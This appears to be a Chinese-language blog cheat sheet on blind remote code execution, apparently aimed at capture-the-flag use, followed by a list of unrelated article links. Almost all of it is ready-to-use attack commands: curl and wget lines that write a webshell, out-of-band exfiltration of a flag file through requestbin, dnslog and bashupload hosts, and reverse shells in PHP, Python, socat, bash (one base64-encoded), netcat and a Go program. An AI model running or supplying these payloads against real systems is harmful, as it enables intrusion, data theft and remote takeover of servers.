当前位置: 首页 > article >正文

RCE_无回显

<aside> 💡

无回显

</aside>

写文件

**curl -o shell.php <http://xxxxxx.txt>
wget -O shell.php <http://xxxxxx.txt>**

请求带出

**curl <http://requestbin.net/r/1kiej1p1?p=`cat> /flag|base64`
curl `xxd -p /flag`.xxxxxx.dnslog.cn  #dnslog带外
curl bashupload.com -T your_file.txt #bashupload.com带外下载文件
wget --post-file ./flag [IP]:[Port]**

平台:

**<http://www.dnslog.cn/>	   //只能使用 dnslog 外带,另外很多防火墙会 ban 掉该域名。
<http://ceye.io/>	         //可以使用 http 外带和 dnslog 外带,推荐。**

<aside> 💡

反弹shell

</aside>

php

**php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");'**

python

**python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvnp 2333
  
python3 -c "import pty;pty.spawn('/bin/bash')" #模拟终端**

socat

**socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port**

bash

**bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
nc [IP] [Port] -e /bin/sh
#接收
nc -lvvnp [Port]**

go

**package main

import (
    "fmt"
    "log"
    "os/exec"
)

func main() {
    cmd := exec.Command("bash", "-c", "bash -i >& /dev/tcp/IP/PORT 0>&1")
    out, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Printf("combined out:\\n%s\\n", string(out))
        log.Fatalf("cmd.Run() failed with %s\\n", err)
    }
    fmt.Printf("combined out:\\n%s\\n", string(out))
}**


http://www.kler.cn/news/333596.html

相关文章:

  • MES系列-MES赋能智能工厂
  • Java之队列
  • Pikachu-url重定向-不安全的url跳转
  • Redis基础三(redis的高级配置)
  • 【rCore OS 开源操作系统】Rust 字符串(可变字符串String与字符串切片str)
  • C++:STL常用算法随笔
  • Prometheus之Pushgateway使用
  • 静态路由故障排查
  • python中的copy方法
  • 为什么MySQL不建议使用delete删除数据
  • 基于springboot vue 电影推荐系统
  • 掌握 C# 多线程与异步编程
  • 408笔记|随笔记录|自用|2
  • (Linux驱动学习 - 6).Linux中断
  • JDK——java.util.function
  • [Python学习日记-39] 闭包是个什么东西?
  • 【2023工业3D异常检测文献】PointCore: 基于局部-全局特征的高效无监督点云异常检测器
  • javascript-obfuscator js混肴 (用户界面版)
  • 【ECMAScript 从入门到进阶教程】第四部分:项目实践(项目结构与管理,单元测试,最佳实践与开发规范,附录)
  • [SQL] SQL语句注意事项